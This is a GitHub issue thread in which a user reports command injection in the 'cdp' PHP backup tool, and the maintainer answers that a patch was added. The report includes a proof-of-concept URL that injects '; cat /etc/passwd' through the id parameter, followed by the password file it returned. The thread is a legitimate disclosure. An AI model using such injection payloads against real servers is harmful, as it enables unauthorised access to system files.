PetaByet / cdp

Simple & Open Source Server Backups
https://cdp.me
GNU General Public License v2.0
123 stars 39 forks source link

Security injection concerns #5

Closed yswery closed 9 years ago

yswery commented 9 years ago

Hi there,

I dont mean to sound rude, but in my opinion its extremely bad practice to do any shell_exec on php code, there are many ways you can go about avoiding this among your project.

There are a fair few holes in the project and a bunch of real bad practices too, I would suggest to relook at the code base if you plan on hiding this as more then just a prototype/POC project but actual production friendly :)

Anyways for proof of concept when a user is logged in:

http://123.123.123.123/index.php?action=runbackup&id=;%20cat%20/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
messagebus:x:102:103::/var/run/dbus:/bin/false

All the best :)

PetaByet commented 9 years ago

Patch added :)